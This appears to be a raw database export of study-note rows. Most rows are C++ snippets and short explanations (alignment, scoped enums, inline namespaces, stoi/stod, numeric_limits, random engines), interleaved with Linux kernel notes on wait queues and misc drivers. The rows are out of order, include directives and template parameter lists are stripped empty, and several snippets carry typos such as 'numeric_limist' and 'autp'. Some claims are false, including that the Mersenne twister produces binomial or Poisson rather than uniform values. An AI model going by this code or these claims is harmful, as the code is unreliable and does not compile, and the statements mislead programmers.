10:03:40.73197 0 +2968 707 auto upper = [](char const c) { return toupper(c); };\n auto add = [](auto const a, auto const b) { return a + b; }; text txt 2024-07-28 10:03:40.751734 0 +2969 707 template\n auto apply(F&& f, T value)\n {\n return f(value);\n }\n} text txt 2024-07-28 10:03:40.772131 0 +2970 707 class foo\n{\n int _x;\npublic:\n foo(int const x = 0): _x{x} {}\n int& get() { return _x; }\n}; text txt 2024-07-28 10:03:40.792553 0 +2971 707 decltype(auto) proxy_gen(foo& f) { return f.get(); }\n// ^__ decltype() preserves cv-ref qualification of return type code txt 2024-07-28 10:03:40.813871 0 +2972 708 #include text txt 2024-07-28 10:03:41.292887 0 +2973 708 using byte = std::bitset<8>;\nusing fn = void(byte, double);\nusing fn_ptr = void(*)(byte, double); text txt 2024-07-28 10:03:41.3139 0 +2974 708 void func(byte b, double d) { /* ... */ } text txt 2024-07-28 10:03:41.335194 0 +2975 708 int main()\n{\n byte b{001101001};\n fn* f = func;\n fn_ptr fp = func;\n} code txt 2024-07-28 10:03:41.355866 0 +2976 709 Preconditions of alias templates: text txt 2024-07-28 10:03:41.967151 0 +2977 709 * Alias templates cannot be partially or explicitly specialized.\n* Alias templates are never deduced by template argument deduction when deducing a template parameter.\n* The type produced when specializing an alias template, is not allowed to directly or indirectly make use of its own type. text txt 2024-07-28 10:03:41.98832 0 +2978 709 #include text txt 2024-07-28 10:03:42.008747 0 +2979 709 template\nclass custom_allocator { /* ... */ }; text txt 2024-07-28 10:03:42.029636 0 +2980 709 template\nusing vec_t = std::vector>; text txt 2024-07-28 10:03:42.050572 0 +2981 709 int main()\n{\n vec_t vi;\n vec_t vs;\n} code txt 2024-07-28 10:03:42.071364 0 +2982 710 * direct initialization initializes an object from an explicit set of constructor arguments.\n* copy initialization initializes an object from another object.\n* brace initialization prevents narrowing conversion of data types.\n* all elements of list initialization should be of the same type. text txt 2024-07-28 10:03:43.15367 0 +2983 710 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:03:43.174276 0 +2984 710 void func(int const a, int const b, int const c)\n{\n std::cout << a << b << c << '\\\\n';\n} text txt 2024-07-28 10:03:43.19523 0 +2985 710 void func(std::initializer_list const list)\n{\n for (auto const& e: list)\n std::cout << e;\n std::cout << '\\\\n';\n} text txt 2024-07-28 10:03:43.215445 0 +2986 710 int main()\n{\n std::string s1("text"); // direct initialization\n std::string s2 = "text"; // copy initialization\n std::string s3{"text"}; // direct list-initialization\n std::string s4 = {"text"}; // copy list-initialization text txt 2024-07-28 10:03:43.235714 0 +2987 710 std::vector v{1, 2, 3};\n std::map m{{1, "one"}, {2, "two"}}; text txt 2024-07-28 10:03:43.256768 0 +2988 710 func({1, 2, 3}); // call std::initializer_list overload text txt 2024-07-28 10:03:43.277137 0 +2989 710 std::vector v1{4}; // size = 1\n std::vector v2(4); // size = 4 text txt 2024-07-28 10:03:43.297981 0 +2990 710 auto a = {42}; // std::initializer_list\n auto b{42}; // int\n auto c = {4, 2}; //std::initializer_list\n auto d{4, 2}; // error, too many elements code txt 2024-07-28 10:03:43.319562 0 +2991 711 struct base\n{\n // default member initialization\n const int height = 14;\n const int width = 80; text txt 2024-07-28 10:03:43.870543 0 +2992 711 v_align valign = v_align::middle;\n h_align halign = h_align::left; text txt 2024-07-28 10:03:43.891984 0 +2993 711 std::string text; text txt 2024-07-28 10:03:43.91454 0 +2994 711 // constructor initialization list\n base(std::string const& t): text{t}\n {} text txt 2024-07-28 10:03:43.93681 0 +2995 711 base(std::string const& t, v_align const va, h_align const ha): text{t}, valign{va}, halign{ha}\n {}\n}; code txt 2024-07-28 10:03:43.957717 0 +2996 712 * The alignment must match the size of the largest member in order to avoid performance issues. text txt 2024-07-28 10:03:45.126035 0 +2997 712 struct foo1 // size = 1, alignment = 1\n{ // foo1: +-+\n char a; // members: |a|\n}; text txt 2024-07-28 10:03:45.146479 0 +2998 712 struct foo2 // size = 2, alignment = 1\n{ // foo1: +-+-+\n char a; // members: |a|b|\n char b;\n}; text txt 2024-07-28 10:03:45.167678 0 +2999 712 struct foo3 // size = 8, alignment = 4\n{ // foo1: +----+----+\n char a; // members: |a...|bbbb|\n int b;\n}; text txt 2024-07-28 10:03:45.188121 0 +3000 712 struct foo3_\n{\n char a; // 1 byte\n char _pad0[3]; // 3 bytes\n int b; // 4 byte\n}; text txt 2024-07-28 10:03:45.208853 0 +3001 712 struct foo4 // size = 24, alignment = 8\n{ // foo4: +--------+--------+--------+--------+\n int a; // members: |aaaa....|cccc....|dddddddd|e.......|\n char b;\n float c;\n double d;\n bool e;\n}; text txt 2024-07-28 10:03:45.229643 0 +3002 712 struct foo4_\n{\n int a; // 4 bytes\n char b; // 1 byte\n char _pad0[3]; // 3 bytes\n float c; // 4 bytes\n char _pad1[4]; // 4 bytes\n double d; // 8 bytes\n bool e; // 1 byte\n char _pad2[7]; // 7 bytes\n}; code txt 2024-07-28 10:03:45.251942 0 +3003 713 * `alignof` can only be applied to type-ids, and not to variables or class data members. text txt 2024-07-28 10:03:45.728119 0 +3004 713 struct alignas(4) foo\n{\n char a;\n char b;\n}; text txt 2024-07-28 10:03:45.749693 0 +3005 713 alignof(foo); // 4\nalignof(foo&); // 4\nalignof(char); // 1\nalignof(int); // 4\nalignof(int*); // 8 (64-bit)\nalignof(int[4]);// 4 (natural alignment of element is 4) code txt 2024-07-28 10:03:45.770878 0 +3041 721 #include \n#include \n#include text txt 2024-07-28 10:03:53.819352 0 +3051 721 private:\n std::size_t index;\n C& collection;\n}; text txt 2024-07-28 10:03:54.029971 0 +3006 714 * `alignas` takes an expression evaluating 0 or valid value for alignment, a type-id, or a parameter pack.\n* only valid values are the powers of two.\n* program is ill-formed if largest `alignas` on a declaration is smaller than natural alignment without any `alignas` specifier. text txt 2024-07-28 10:03:47.015733 0 +3007 714 // alignas specifier applied to struct\nstruct alignas(4) foo1 // size = 4, aligned as = 4\n{ // foo1: +----+\n char a; // members: |a.b.|\n char b;\n}; text txt 2024-07-28 10:03:47.037073 0 +3008 714 struct foo1_ // size = 4, aligned as = 1\n{\n char a; // 1 byte\n char b; // 1 byte\n char _pad0[2]; // 2 bytes\n}; text txt 2024-07-28 10:03:47.05888 0 +3009 714 // alignas specifier applied to member data declarations\nstruct foo2 // size = 16, aligned as = 8\n{ // foo2: +--------+--------+\n alignas(2) char a; // members: |aa......|bbbb....|\n alignas(8) int b;\n}; text txt 2024-07-28 10:03:47.080907 0 +3010 714 struct foo2_ // size = 16, aligned as = 4\n{\n char a; // 2 bytes\n char _pad0[6]; // 6 bytes\n int b; // 4 bytes\n char _pad1[4]; // 4 bytes\n}; text txt 2024-07-28 10:03:47.102235 0 +3011 714 // the alignas specifier applied to the struct is less than alignas\n// specifier applied to member data declaration, thus will be ignored.\nstruct alignas(4) foo3 // size = 16, aligned as = 8\n{ // foo3: +--------+--------+\n alignas(2) char a; // members: |aa......|bbbbbbbb|\n alignas(8) int b;\n}; text txt 2024-07-28 10:03:47.122826 0 +3012 714 struct foo3_ // size = 16, aligned as = 4\n{\n char a; // 2 byte\n char _pad0[6]; // 6 bytes\n int b; // 4 bytes\n char _pad1[4]; // 4 bytes\n}; text txt 2024-07-28 10:03:47.144087 0 +3013 714 alignas(8) int a; // size = 4, alignment = 8\nalignas(256) long b[4]; // size = 32, alignment = 256 code txt 2024-07-28 10:03:47.165439 0 +3014 715 * Scoped enumerations do not export their enumerators to the surrounding scope.\n* Scoped enumerations have an underlying type so they can be forward declared.\n* Values of scoped enumerations do not convert implicitly to int. text txt 2024-07-28 10:03:47.678651 0 +3015 715 enum class status: unsigned int; // forward declared text txt 2024-07-28 10:03:47.698873 0 +3016 715 status do_something(); // function declaration/prototype text txt 2024-07-28 10:03:47.7193 0 +3017 715 enum class status : unsigned int\n{\n success = 0,\n failed = 1,\n unknown = 0xffff0000U\n}; text txt 2024-07-28 10:03:47.740338 0 +3018 715 status do_something() { return status::success; } code txt 2024-07-28 10:03:47.761252 0 +3019 716 #include text txt 2024-07-28 10:03:48.323311 0 +3020 716 enum class status : unsigned int\n{\n success = 0,\n failure = 1,\n unknown = 0xffff0000U\n}; text txt 2024-07-28 10:03:48.343802 0 +3021 716 std::string_view to_string(status const s)\n{\n switch (s)\n {\n using enum status;\n case success: return "success";\n case failure: return "failure";\n case unknown: return "unknown";\n }\n} code txt 2024-07-28 10:03:48.364294 0 +3022 717 class base\n{\n virtual void foo() = 0;\n virtual void bar() {}\n virtual void baz() = 0;\n}; text txt 2024-07-28 10:03:48.996036 0 +3023 717 class alpha: public base\n{\n virtual void bar() override {}\n virtual void baz() override {}\n}; text txt 2024-07-28 10:03:49.016283 0 +3024 717 class beta: public alpha\n{\n virtual void foo() override {}\n}; text txt 2024-07-28 10:03:49.038317 0 +3025 717 beta object; code txt 2024-07-28 10:03:49.05863 0 +3026 718 class base\n{\n virtual void foo() = 0;\n virtual void bar() {}\n virtual void baz() = 0;\n}; text txt 2024-07-28 10:03:49.735176 0 +3027 718 class alpha: public base\n{\n virtual void foo() override {}\n virtual void baz() override final {}\n}; text txt 2024-07-28 10:03:49.756907 0 +3028 718 class beta: public alpha\n{\n // won't compile\n virtual void baz() override {}\n}; text txt 2024-07-28 10:03:49.77763 0 +3029 718 int main()\n{\n beta object;\n} code txt 2024-07-28 10:03:49.798186 0 +3030 719 class base\n{\n virtual void foo() = 0;\n virtual void bar() {}\n virtual void baz() = 0;\n}; text txt 2024-07-28 10:03:50.362646 0 +3031 719 class derived final: public base\n{\n virtual void foo() override {}\n virtual void baz() override {}\n}; text txt 2024-07-28 10:03:50.383316 0 +3032 719 // won't compile\nclass prime: public derived\n{\n}; code txt 2024-07-28 10:03:50.405015 0 +3033 720 #include \n#include text txt 2024-07-28 10:03:51.303209 0 +3034 720 std::vector get_numbers()\n{\n return std::vector{1, 2, 3, 4, 5};\n} text txt 2024-07-28 10:03:51.322545 0 +3035 720 std::map get_doubles()\n{\n return std::map{\n {0, 0.0},\n {1, 1.1},\n {2, 2.2}\n };\n} text txt 2024-07-28 10:03:51.343569 0 +3036 720 int main()\n{\n auto numbers = std::vector{1, 2, 3, 4, 5};\n auto copies = std::vector(numbers.size() * 4); text txt 2024-07-28 10:03:51.362892 0 +3037 720 for (int element: numbers)\n copies.push_back(element); text txt 2024-07-28 10:03:51.383062 0 +3038 720 for (int& element: numbers)\n copies.push_back(element); text txt 2024-07-28 10:03:51.404627 0 +3039 720 for (auto&& element: get_numbers())\n copies.push_back(element); text txt 2024-07-28 10:03:51.425227 0 +3040 720 for (auto&& [key, value]: get_doubles())\n copies.push_back(key);\n} code txt 2024-07-28 10:03:51.446444 0 +3042 721 template\nclass dummy_array\n{\n T data[S] = {}; text txt 2024-07-28 10:03:53.840135 0 +3043 721 public:\n T const& at(std::size_t const index) const\n {\n if (index < S) return data[index];\n throw std::out_of_range("index out of range");\n } text txt 2024-07-28 10:03:53.861247 0 +3044 721 void insert(std::size_t const index, T const& value)\n {\n if (index < S) data[index] = value;\n else throw std::out_of_range("index out of range");\n } text txt 2024-07-28 10:03:53.883305 0 +3046 721 template\nclass dummy_array_iterator_type\n{\npublic:\n dummy_array_iterator_type(C& collection, std::size_t const index):\n index{index}, collection{collection}\n {} text txt 2024-07-28 10:03:53.925451 0 +3047 721 bool operator !=(dummy_array_iterator_type const& other) const\n {\n return index != other.index;\n } text txt 2024-07-28 10:03:53.947421 0 +3048 721 T const& operator *() const\n {\n return collection.at(index);\n } text txt 2024-07-28 10:03:53.967983 0 +3049 721 dummy_array_iterator_type& operator ++()\n {\n ++index;\n return *this;\n } text txt 2024-07-28 10:03:53.988992 0 +3050 721 dummy_array_iterator_type operator ++(int)\n {\n auto temp = *this;\n ++*temp;\n return temp;\n } text txt 2024-07-28 10:03:54.009012 0 +3052 721 template\nusing dummy_array_iterator = dummy_array_iterator_type, S>; text txt 2024-07-28 10:03:54.050105 0 +3053 721 template\nusing dummy_array_const_iterator = dummy_array_iterator_type const, S>; text txt 2024-07-28 10:03:54.071418 0 +3054 721 template\ninline dummy_array_iterator begin(dummy_array& collection)\n{\n return dummy_array_iterator(collection, 0);\n} text txt 2024-07-28 10:03:54.092842 0 +3055 721 template\ninline dummy_array_iterator end(dummy_array& collection)\n{\n return dummy_array_iterator(collection, collection.size());\n} text txt 2024-07-28 10:03:54.114877 0 +3056 721 template\ninline dummy_array_const_iterator begin(dummy_array const& collection)\n{\n return dummy_array_const_iterator(collection, 0);\n} text txt 2024-07-28 10:03:54.13594 0 +3057 721 template\ninline dummy_array_const_iterator end(dummy_array const& collection)\n{\n return dummy_array_const_iterator(collection, collection.size());\n} text txt 2024-07-28 10:03:54.15662 0 +3058 721 int main()\n{\n dummy_array numbers;\n numbers.insert(0, 1);\n numbers.insert(1, 2);\n numbers.insert(2, 3);\n numbers.insert(3, 4);\n numbers.insert(4, 5); text txt 2024-07-28 10:03:54.178575 0 +3059 721 for (auto&& element: numbers)\n std::cout << element << ' ';\n std::cout << '\\\\n';\n} code txt 2024-07-28 10:03:54.198894 0 +3061 722 class string_buffer\n{\npublic:\n explicit string_buffer() {}\n explicit string_buffer(std::size_t const size) {}\n explicit string_buffer(char const* const ptr) {}\n explicit operator bool() const { return false; }\n explicit operator char* const () const { return nullptr; }\n}; text txt 2024-07-28 10:03:54.918864 0 +3062 722 int main()\n{\n std::shared_ptr str;\n string_buffer b1; // calls string_buffer()\n string_buffer b2(20); // calls string_buffer(std::size_t const)\n string_buffer b3(str.get()); // calls string_buffer(char const*) text txt 2024-07-28 10:03:54.940866 0 +3064 722 // implicit conversion cases when explicit not specified\n string_buffer b4 = 'a'; // would call string_buffer(std::size_t const)\n string_buffer b5 = small; // would call string_buffer(std::size_t const)\n} code txt 2024-07-28 10:03:54.981937 0 +3065 723 * First, an unnamed namespaces will be expanded to a compiler defined unique name.\n* Second, a `using` directive expands namespace.\n* Third, the unnamed namespace will be named.\n* Therefore, any function declared in it have local visibility but have external linkage. text txt 2024-07-28 10:03:55.794602 0 +3067 723 namespace\n{\n void print()\n {\n std::cout << "file1" << std::endl;\n }\n} text txt 2024-07-28 10:03:55.83698 0 +3070 723 namespace\n{\n void print()\n {\n std::cout << "file2" << std::endl;\n }\n} text txt 2024-07-28 10:03:55.898029 0 +3072 724 * Prior to C++11, non-type template arguments could not be named with internal linkage, so `static` variables were not allowed. VC++ compiler still doesn't support it. text txt 2024-07-28 10:03:56.426901 0 +4909 1390 Wait queues are higher-level mechanism essentially used to process blocking input/output, to wait for a condition to be true, to wait for a given event to occur, or to sense data or resource availability. text txt 2024-07-28 10:08:53.238408 0 +4912 1390 A wait queue is nothing but a list with sleeping processes in it waiting to be awakened and a spinlock to protect access to this list. text txt 2024-07-28 10:08:53.301772 0 +4916 1392 Any process that wants to sleep waiting for `some_event` to occur can invoke either `wait_event_interruptible()` or `wait_event()`. text txt 2024-07-28 10:08:54.104053 0 +4919 1392 Both functions will put the process to sleep only if the expression evaluates `false`. text txt 2024-07-28 10:08:54.166437 0 +4922 1393 wait_event_timeout(&smoe_event, condition, timeout) code txt 2024-07-28 10:08:54.497791 0 +4925 1394 - **Timeout elapsed:** the function returns 0 if the condition is evaluated to `false` or 1 if it is evaluated `true`.\n- **Timeout not elapsed yet:** the function returns the remaining time (in jiffies at least 1) if the condition is evaluated to `true`. text txt 2024-07-28 10:08:54.777929 0 +4928 1396 In order to wake up a process sleeping on a wait queue, you should call either of the following functions.\nWhenever you call any of these functions, the condition is re-evaluated again.\nIf the condition is `true` at that time, then a process (or all processes for the `_all()` variant) in the wait queue will be awakened, and its state set to `TASK_RUNNING`; otherwise, nothing happens. text txt 2024-07-28 10:08:55.426128 0 +4931 1397 A nonezero means your sleep has been interrupted by some sort of signal, and the driver should return `ERESTARTSYS`. text txt 2024-07-28 10:08:55.695752 0 +4935 1399 insmod /lib/modules/$(uname -r)/kernel/fs/ # Operation not permitted\nsudo insmod /lib/modules/$(uname -r)/kernel/fs/btfs # No such file or directory\nsudo insmod /lib/modules/$(uname -r)/kernel/fs/btfs/btfs.ko # Unknown symbol in module code txt 2024-07-28 10:08:56.430097 0 +4940 1401 Origin: Effectively use module commands text txt 2024-07-28 10:08:56.846408 0 +4944 1403 Origin: Effectively use module commands text txt 2024-07-28 10:08:57.286814 0 +4948 1404 Origin: Effectively use module commands text txt 2024-07-28 10:08:57.628795 0 +4952 1407 **LDM** creates a complex hierarchical tree unifying system components, all\nperipheral devices, and their drivers. This tree is exposed to user space via\nthe *sysfs* pseudo-filesystem analogous to how *procfs* exposes some kernel\nand process/thread internal details to user space, and is typically mounted\nunder `/sys`. text txt 2024-07-28 10:08:58.621805 0 +4955 1409 A namespace contains the device type and major-minor pair, which form a\nhierarchy. Devices are organized within a tree-like hierarchy within the\nkernel. This hierarchy is first divided based on device type, block or char.\nWithin that we have n major numbers for each type, and each major number is\nfurther classified via some m minor numbers. text txt 2024-07-28 10:08:59.213212 0 +4958 1411 Only **Linux Assigned Names And Numbers Authority (LANANA)** can officially\nassign the device node (the type and `{major:minor}` numbers) to devices text txt 2024-07-28 10:09:00.04709 0 +4961 1411 A common problem is that of the namespace getting exhausted. Within the misc\nclass (`#10`) live a lot of devices and their corresponding drivers. In\neffect, they share the same major number and rely on a unique minor number to\nidentify themselves. text txt 2024-07-28 10:09:00.111256 0 +4964 1414 Critically, they organize and recognize the devices on them. If a new device\nsurfaces, like a pen drive, the USB bus driver will recognize the fact and\nbind it to its device driver. text txt 2024-07-28 10:09:00.805888 0 +4967 1416 Write a platform driver, register it with the kernel's `misc` framework and\nthe **platform bus**, a pseudo-bus infrastructure that supports devices that\ndo not physically reside on any physical bus. Several peripherals built into\na modern **SoC** are not on any physical bus, and thus their drivers are\ntypically platform drivers. To get started, look under the kernel source tree\nin `drivers/` for code invoking the `platform_driver_register()` API. text txt 2024-07-28 10:09:01.643041 0 +4970 1417 Quite often, the negative `errno` value returned by the VFS is intuitive. For\nexample, it returns `EINVAL` when `read()` function pointer is `NULL`. This\nmisleads user space process to think of *"Invalid argument"* error, which\nisn't the case. text txt 2024-07-28 10:09:02.151486 0 +4973 1419 #include \n#include text txt 2024-07-28 10:09:03.925523 0 +4976 1419 ret = misc_register(&miscdev); text txt 2024-07-28 10:09:03.988142 0 +4979 1419 static void __exit miscdev_exit(void)\n{ } text txt 2024-07-28 10:09:04.04957 0 +4982 1419 obj-m := miscdev.o text txt 2024-07-28 10:09:04.110763 0 +4995 1421 ret = misc_register(&miscdev); text txt 2024-07-28 10:09:06.144341 0 +3074 724 static int Size1 = 10; text txt 2024-07-28 10:03:56.467955 0 +3075 724 namespace\n{\n int Size2 = 10;\n} text txt 2024-07-28 10:03:56.48828 0 +3076 724 test t1; // error only on VC++\ntest t2; // okay code txt 2024-07-28 10:03:56.509251 0 +3077 725 * Specialization of a template is required to be done in the same namespace where the template was declared.\n* Define the content of the library inside a namespace\n* Define each version of the library or parts of it inside an inner inline namespace\n* Use preprocessor macros to enable a particular version of the library text txt 2024-07-28 10:03:58.663271 0 +3078 725 namespace incorrect_implementation\n{\n namespace v1\n {\n template\n int test(T value) { return 1; }\n } text txt 2024-07-28 10:03:58.684608 0 +3079 725 #ifndef _lib_version_1\n using namespace v1;\n #endif text txt 2024-07-28 10:03:58.705638 0 +3080 725 namespace v2\n {\n template\n int test(T value) { return 2; }\n } text txt 2024-07-28 10:03:58.725681 0 +3081 725 #ifndef _lib_version_2\n using namespace v2;\n #endif\n} text txt 2024-07-28 10:03:58.746325 0 +3082 725 namespace broken_client_code\n{\n // okay\n auto x = incorrect_implementation::test(42); text txt 2024-07-28 10:03:58.766927 0 +3083 725 struct foo { int a; }; text txt 2024-07-28 10:03:58.787034 0 +3084 725 // breaks\n namespace incorrect_implementation\n {\n template <>\n int test(foo value) { return value.a; }\n } text txt 2024-07-28 10:03:58.807663 0 +3085 725 // won't compile\n auto y = incorrect_implementation::test(foor{42}); text txt 2024-07-28 10:03:58.828227 0 +3086 725 // library leaks implementation details\n namespace incorrect_implementation\n {\n namespace version_2\n {\n template<>\n int test(foo value) { return value.a; }\n }\n } text txt 2024-07-28 10:03:58.849966 0 +3087 725 // okay, but client needs to be aware of implementation details\n auto y = incorrect_implementation::test(foor{42});\n} code txt 2024-07-28 10:03:58.872669 0 +3088 725 namespace correct_implementation\n{\n #ifndef _lib_version_1\n inline namespace v1\n {\n template\n int test(T value) { return 1; }\n }\n #endif text txt 2024-07-28 10:03:58.892889 0 +3089 725 #ifndef _lib_version_2\n inline namespace v2\n {\n template\n int test(T value) { return 2; }\n }\n #endif\n} text txt 2024-07-28 10:03:58.914594 0 +3090 725 namespace working_client_code\n{\n // okay\n auto x = correct_implementation::test(42); text txt 2024-07-28 10:03:58.935819 0 +3091 725 struct foo { int a; }; text txt 2024-07-28 10:03:58.955489 0 +3092 725 namespace correct_implementation\n {\n template <>\n int test(foo value) { return value.a; }\n } text txt 2024-07-28 10:03:58.976925 0 +3093 725 // okay\n auto y = correct_implementation::test(foor{42});\n} code txt 2024-07-28 10:03:58.99872 0 +3094 726 * Only by C++20 structured bindings can include `static` or `thread_local` specifiers in the declaration.\n* Only by C++20 `[[maybe_unused]]` attribute can be used in the declaration.\n* Only by C++20 a lambda can capture structure binding identifiers. text txt 2024-07-28 10:03:59.515158 0 +3095 726 #include \n#include text txt 2024-07-28 10:03:59.53593 0 +3096 726 int main()\n{\n std::set numbers; text txt 2024-07-28 10:03:59.555749 0 +3097 726 if (auto const [iter, inserted] = numbers.insert(1); inserted)\n std::cout << std::distance(numbers.cbegin(), iter);\n} code txt 2024-07-28 10:03:59.575666 0 +3098 727 * The type of objects without template arguments are not types, but act as a placeholder for a type that activates CTAD. When compiler encouters it, it builds a set of deduction guides which can be complemented by user with user defined deduction rules.\n* CTAD does not occur if the template argument list is present. text txt 2024-07-28 10:03:59.871586 0 +3099 727 std::pair p{42, "demo"}; // std::pair\nstd::vector v{1, 2}; // std::vector code txt 2024-07-28 10:03:59.892595 0 +3100 728 auto si = std::to_string(42); // "42"\nauto sl = std::to_string(42L); // "42"\nauto su = std::to_string(42u); // "42"\nauto sd = std::to_wstring(42.0); // "42.000000"\nauto sld = std::to_wstring(42.0L); // "42.000000" code txt 2024-07-28 10:04:00.129883 0 +3101 729 auto i1 = std::stoi("42");\nauto i2 = std::stoi("101010", nullptr, 2);\nauto i3 = std::stoi("052", nullptr, 8);\nauto i7 = std::stoi("052", nullptr, 0);\nauto i4 = std::stoi("0x2A", nullptr, 16);\nauto i9 = std::stoi("0x2A", nullptr, 0);\nauto i10 = std::stoi("101010", nullptr, 2);\nauto i11 = std::stoi("22", nullptr, 20);\nauto i12 = std::stoi("-22", nullptr, 20); text txt 2024-07-28 10:04:00.516736 0 +3102 729 auto d1 = std::stod("123.45"); // d1 = 123.45000000000000\nauto d2 = std::stod("1.2345e+2"); // d2 = 123.45000000000000\nauto d3 = std::stod("0xF.6E6666p3"); // d3 = 123.44999980926514 code txt 2024-07-28 10:04:00.537495 0 +3103 730 * The input string.\n* A pointer that, when not null, will receive the number of characters that were\nprocessed. This can include any leading whitespaces that were discarded,\nthe sign, and the base prefix, so it should not be confused with the number\nof digits the integral value has.\n* A number indicating the base; by default, this is 10. Valid numbers of 2 to 36. text txt 2024-07-28 10:04:00.922018 0 +3104 730 template>\nT stoi(std::string const& str, std::size_t* pos = 0, T base = 10); text txt 2024-07-28 10:04:00.943152 0 +3105 730 template>\nF stof(std::string const& str, std::size_t* pos = 0); code txt 2024-07-28 10:04:00.96446 0 +3106 731 * A sign, plus (**+**) or minus (**-**) (optional)\n* Prefix **0** to indicate an octal base (optional)\n* Prefix **0x** or **0X** to indicate a hexadecimal base (optional)\n* A sequence of digits text txt 2024-07-28 10:04:01.282466 0 +3107 731 auto i1 = std::stoi("42"); // 42\nauto i2 = std::stoi(" 42"); // 42\nauto i3 = std::stoi(" 42fortytwo"); // 42\nauto i4 = std::stoi("+42"); // 42\nauto i5 = std::stoi("-42"); // -42 code txt 2024-07-28 10:04:01.303865 0 +3108 732 * `std::invalid_argument`: conversion cannot be performed.\n* `std::out_of_range`: converted value is outside the range of the result type. text txt 2024-07-28 10:04:01.890176 0 +3109 732 try\n{\nauto i1 = std::stoi("");\n}\ncatch (std::invalid_argument const& exp)\n{\nstd::cerr << exp.what() << '\\\\n';\n} text txt 2024-07-28 10:04:01.910652 0 +3110 732 try\n{\nauto i2 = std::stoi("12345678901234");\nauto i3 = std::stoi("12345678901234");\n}\ncatch (std::out_of_range const& exp)\n{\nstd::cerr << exp.what() << '\\\\n';\n} code txt 2024-07-28 10:04:01.930373 0 +3111 733 * Decimal floating-point expression (optional sign, sequence of decimal digits with optional point, optional e or E, followed by exponent with optional sign).\n* Binary floating-point expression (optional sign, 0x or 0X prefix, sequence of hexadecimal digits with optional point, optional p or P, followed by exponent with optional sign).\n* Infinity expression (optional sign followed by case-insensitive INF or INFINITY).\n* A non-number expression (optional sign followed by case-insensitive NAN and possibly other alphanumeric characters). text txt 2024-07-28 10:04:02.381563 0 +3167 752 Always define literals in a separate namespace to avoid name clashes. text txt 2024-07-28 10:04:10.243261 0 +3168 752 T operator ""_suffix(char const*); text txt 2024-07-28 10:04:10.263071 0 +3964 979 docker history code txt 2024-07-28 10:06:16.701818 0 +3112 733 auto d1 = std::stod("123.45"); // d1 = 123.45000000000000\nauto d2 = std::stod("+123.45"); // d2 = 123.45000000000000\nauto d3 = std::stod("-123.45"); // d3 = -123.45000000000000\nauto d4 = std::stod(" 123.45"); // d4 = 123.45000000000000\nauto d5 = std::stod(" -123.45abc"); // d5 = -123.45000000000000\nauto d6 = std::stod("1.2345e+2"); // d6 = 123.45000000000000\nauto d7 = std::stod("0xF.6E6666p3"); // d7 = 123.44999980926514\nauto d8 = std::stod("INF"); // d8 = inf\nauto d9 = std::stod("-infinity"); // d9 = -inf\nauto d10 = std::stod("NAN"); // d10 = nan\nauto d11 = std::stod("-nanabc"); // d11 = -nan code txt 2024-07-28 10:04:02.404164 0 +3113 734 Standard types that are not arithmetic types, such as `std::complex` or `std::nullptr_t`, do not have `std::numeric_limits` specializations. text txt 2024-07-28 10:04:02.813937 0 +3114 734 #include text txt 2024-07-28 10:04:02.835901 0 +3115 734 auto min_int = std::numeric_limits::min();\nauto max_int = std::numeric_limits::max(); text txt 2024-07-28 10:04:02.855579 0 +3116 734 auto min_double = std::numeric_limits::min();\nauto low_double = std::numeric_limits::lowest();\nauto max_double = std::numeric_limits text txt 2024-07-28 10:04:03.410119 0 +3119 735 template\nT minimum(Iter const start, Iter const end)\n{\n T latest_minimum = std::numeric_limits::max(); text txt 2024-07-28 10:04:03.430807 0 +3120 735 for (autp i = start; i < end; ++i)\n if (*i < latest_minimum)\n latest_minimum = *i; text txt 2024-07-28 10:04:03.452088 0 +3121 735 return latest_minimum;\n} code txt 2024-07-28 10:04:03.472174 0 +3122 736 `digits` represents the number of bits (excluding the sign bit if present) and padding bits (if any) for integral types and the number of bits of the mantissa for floating-point types. text txt 2024-07-28 10:04:03.842481 0 +3123 736 #include text txt 2024-07-28 10:04:03.864137 0 +3124 736 auto s = std::numeric_limits::digits;\nauto d = std::numeric_limits::digits; code txt 2024-07-28 10:04:03.885078 0 +3125 737 #include text txt 2024-07-28 10:04:04.193164 0 +3126 737 auto s = std::numeric_limits::digits10;\nauto d = std::numeric_limits::digits10; code txt 2024-07-28 10:04:04.213417 0 +3127 738 #include text txt 2024-07-28 10:04:04.470494 0 +3128 738 auto value_is_signed = std::numeric_limist::is_signed; code txt 2024-07-28 10:04:04.492092 0 +3129 739 #include text txt 2024-07-28 10:04:04.770672 0 +3130 739 auto value_is_integer = std::numeric_limist::is_integer; code txt 2024-07-28 10:04:04.791384 0 +3131 740 #include text txt 2024-07-28 10:04:05.042239 0 +3132 740 auto value_is_exact = std::numeric_limist::is_exact; code txt 2024-07-28 10:04:05.063364 0 +3133 741 #include text txt 2024-07-28 10:04:05.312447 0 +3134 741 auto value_has_infinity = std::numeric_limist::has_infinity; code txt 2024-07-28 10:04:05.332745 0 +3135 742 Except for `random_device`, all engines produce numbers in a uniform distribution. text txt 2024-07-28 10:04:05.667577 0 +3136 742 #include text txt 2024-07-28 10:04:05.68725 0 +3137 742 auto min = std::mt19937::min();\nauto max = std::mt19937::max(); code txt 2024-07-28 10:04:05.708268 0 +3138 743 Random generators can be seeded using their constructors or the `seed()` method.\nNote that `random_device` cannot be seeded. text txt 2024-07-28 10:04:06.115007 0 +3139 743 #include text txt 2024-07-28 10:04:06.135418 0 +3140 743 std::random_device seeder;\nstd::mt19937 generator1{seeder()}; text txt 2024-07-28 10:04:06.156733 0 +3141 743 std::mt19937 generator2;\ngenerator2.seed(seeder()); code txt 2024-07-28 10:04:06.177504 0 +3142 744 The function call operators of random engines are overloaded and generate a new number uniformly distributed between `min()` and `max()`: text txt 2024-07-28 10:04:06.515932 0 +3143 744 #include text txt 2024-07-28 10:04:06.535856 0 +3144 744 std::random_device seeder;\nstd::mt19937 generator{seeder()};\nauto number = generator(); code txt 2024-07-28 10:04:06.557397 0 +3145 745 #include text txt 2024-07-28 10:04:06.834313 0 +3146 745 std::mt19937 generator{};\ngenerator.discard(4); // discard 4 numbers code txt 2024-07-28 10:04:06.855551 0 +3147 746 The Mersenne twister engine has a bias toward producing some values repeatedly and omitting others, thus generating numbers not in a uniform distribution, but rather in a binomial or Poisson distribution. text txt 2024-07-28 10:04:07.39489 0 +3148 746 #include \n#include text txt 2024-07-28 10:04:07.415923 0 +3149 746 int main()\n{\n std::random_device seeder; text txt 2024-07-28 10:04:07.437675 0 +3150 746 std::array seed_data{};\n std::generate(std::begin(seed_data), std::end(seed_data), std::ref(seeder));\n std::seed_seq seeds(std::begin(seed_data), std::end(seed_data));\n std::mt19937 generator{seeds};\n std::uniform_int_distribution<> 